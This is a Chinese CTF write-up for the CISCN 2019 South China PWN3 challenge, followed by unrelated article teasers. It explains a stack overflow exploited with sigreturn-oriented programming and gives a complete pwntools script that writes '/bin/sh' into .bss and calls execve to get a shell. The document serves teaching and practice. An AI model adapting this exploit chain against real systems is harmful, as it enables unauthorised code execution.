news 2026/8/12 15:27:44

[CISCN 2019华南]PWN3的解法参考

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[CISCN 2019华南]PWN3的解法参考

这是一道srop的题,先打开ida看看

main函数里只有一个vuln函数,我们看看vuln函数

发现缓冲区大小是0x10,read读0x400,存在栈溢出,不过需要注意vuln 结尾是纯 ret(没有 leave),所以 ret 弹出的是 saved_rbp 位置的值,ROP 链偏移 = 0x10 (16),而不是常见 leave;ret 下的 0x18 (24)。

padding=b'a'*16

这是syscall的题,先搜一搜都有什么寄存器什么的可以用

ROPgadget --binary ./PWN3 | grep "syscall" ROPgadget --binary ./PWN3 | grep "pop rax" ROPgadget --binary ./PWN3 | grep "pop rdi" ROPgadget --binary ./PWN3 | grep "pop rsi"

发现没有放第三个参数的寄存器,也没有pop rax,无法将 rax 设为任意 syscall 号来造输出函数来泄露libc但是有这个

我们可以控制rax变成0x3b或者0xf,0x3b的系统调用号对应的是execve函数,0xf的系统调用号对应的是sigreturn函数,这个函数能一次性设置所有的寄存器(包括 rax、rdi、rsi、rdx、rip、rsp),当我们用了sigreturn函数的时候,发生的事情就是内核从栈上读一个248字节的结构体,把结构体里里对应的值存到寄存器里,返回到结构体里指定的rip。

现在题目主要是缺少/bin/sh,所以思路就是先用sigreturn函数造一个可以写到bss段的read函数,然后我们自己在bss段写入/bin/sh,再用sigreturn函数造execve函数。

这个程序的bss段只有前面一点有东西,后面全是0可以给我们写,我们就从开头后面的第0x100开始写

bss=elf.bss() + 0x100

这样写,就可以用sigreturn函数设置寄存器的值了

sig=SigreturnFrame() sig.rdi=0 sig.rsi=bss sig.rdx=0x400 sig.rax=0 sig.rip=syscall sig.rsp=bss+0x200

rax设置成0,0的系统调用号对应read函数。rdi是read函数的第一个参数,设置成0。rsi是read的第二个参数,设置成bss。rdx是read函数的第三个参数,设置成0x400。rip都是设置成syscall,rsp设置成bss+0x200,这个0x200是随便写的靠后的数,0x300什么的应该也可以,靠前的数可能会有干扰。

payload=padding+p64(rax0xf)+p64(syscall)+bytes(sig)

接下来构建payload,先是填充,然后把rax改成0xf,再用syscall触发sigreturn函数,再把刚才写好的值接上,发sigreturn函数的时候注意要用pwntools带的bytes(),就可以了。现在程序的状态就是等在我们造的read函数里等待输入,我们构建第二个payload

首先写第二个sigreturn函数各个寄存器的设置

binsh=bss+0x308 sig=SigreturnFrame() sig.rax=0x3b sig.rdi=binsh sig.rsi=0 sig.rdx=0 sig.rip=syscall

rax设置成0x3b,对应execve函数,第一个参数是binsh的地址,第二三个参数都是0,rip都是syscall,这里为什么binsh=bss+0x308等下就说,接下来构造payload

payload=b'a'*0x200+p64(rax0xf)+p64(syscall)+bytes(sig)+b'/bin/sh'

因为上一个payload的rsp设置成了bss+0x200,我们是从bss开始填充的,所以先填充0x200,然后再把rax改成0xf,再用syscall触发sigreturn函数,最后写/bin/sh。之后记得接收write输出的垃圾字符

try: r(0x30) except: pass

为什么binsh的地址是bss+0x308呢?

payload里先填充了0x200,然后rax0xf算8字节,syscall算8字节,sigreturn结构体算248字节,也就是0xf8字节,把这些都加上就是0x308个字节,所以binsh从bss+0x308开始写的,地址就是bss+0x308。

为什么bin/sh是最后输入的,在payload的最后面,为什么可以让前面写的sig运行呢?

因为流程是read函数先把输入读进来不执行,直到程序后面ret弹出的时候才会执行rop链,这时候/bin/sh已经写到对应的地方了

最后附上exp

from pwn import * s = lambda data : io.send(data) sa = lambda delim, data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim, data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) ru = lambda delims, drop=True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) context.log_level = 'debug' context.arch = 'amd64' context.binary = binary = './PWN3' context.terminal = ['tmux', 'splitw', '-h'] gdbscript = ''' ''' def start(argv=[], *a, **kw): if args.GDB: proc = process([binary] + argv, *a, **kw) gdb.attach(proc, gdbscript=gdbscript) return proc elif args.REMOTE: return remote('node5.anna.nssctf.cn',22989) else: return process([binary] + argv, *a, **kw) elf = ELF(binary) libc = ELF('./libc.so.6') rop = ROP(elf) io = start() padding=b'a'*16 main=0x40051D rdi=0x00000000004005a3 rsir15=0x00000000004005a1 rax0x3b=0x00000000004004e2 rax0xf=0x00000000004004da syscall=0x0000000000400501 bss=elf.bss() + 0x100 binsh=bss+0x308 sig=SigreturnFrame() sig.rdi=0 sig.rsi=bss sig.rdx=0x400 sig.rax=0 sig.rip=syscall sig.rsp=bss+0x200 payload=padding+p64(rax0xf)+p64(syscall)+bytes(sig) s(payload) sleep(0.3) sig=SigreturnFrame() sig.rax=0x3b sig.rdi=binsh sig.rsi=0 sig.rdx=0 sig.rip=syscall payload=b'a'*0x200+p64(rax0xf)+p64(syscall)+bytes(sig)+b'/bin/sh' s(payload) sleep(0.2) try: r(0x30) except: pass itr()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/12 15:25:04

C++构建分布式语音识别服务:从引擎集成到高可用架构实践

1. 项目概述:当C遇上分布式语音识别 如果你正在处理海量的实时语音流,比如来自一个大型呼叫中心的电话录音,或者一个需要同时响应成千上万用户语音指令的智能家居平台,那么单机运行的语音识别引擎很快就会成为瓶颈。这时候&#x…

作者头像 李华
网站建设 2026/8/12 15:23:59

Visual Leak Detector (VLD) 在Visual Studio 2022中的集成与实战指南

1. 项目概述:为什么我们需要VLD?在Windows平台上用C做开发,内存泄漏是个老生常谈但又避不开的痛点。不像Java、C#有垃圾回收器(GC)兜底,C把内存的生杀大权完全交给了开发者。这份自由意味着责任&#xff0c…

作者头像 李华
网站建设 2026/8/12 15:23:47

Chrome跨域Cookie失效?SameSite属性与CORS配置全解析

1. 问题缘起:从一次诡异的登录失败说起 那天下午,测试同事气冲冲地跑过来,指着屏幕上那个顽固的登录按钮说:“前端说接口通了,后端说日志收到了请求,但用户就是登不上去,Cookie像是被幽灵吃掉了…

作者头像 李华
网站建设 2026/8/12 15:23:43

TIR透镜建模全流程解析:从光学原理到仿真优化实战

1. 项目概述:从“光路”到“模型”的跨越如果你接触过手电筒、汽车大灯或者高端显微镜,大概率已经见识过全内反射棱镜(TIR)的魔力。它不像传统透镜那样靠曲面折射来聚光,而是像一个光线的“交通警察”,利用…

作者头像 李华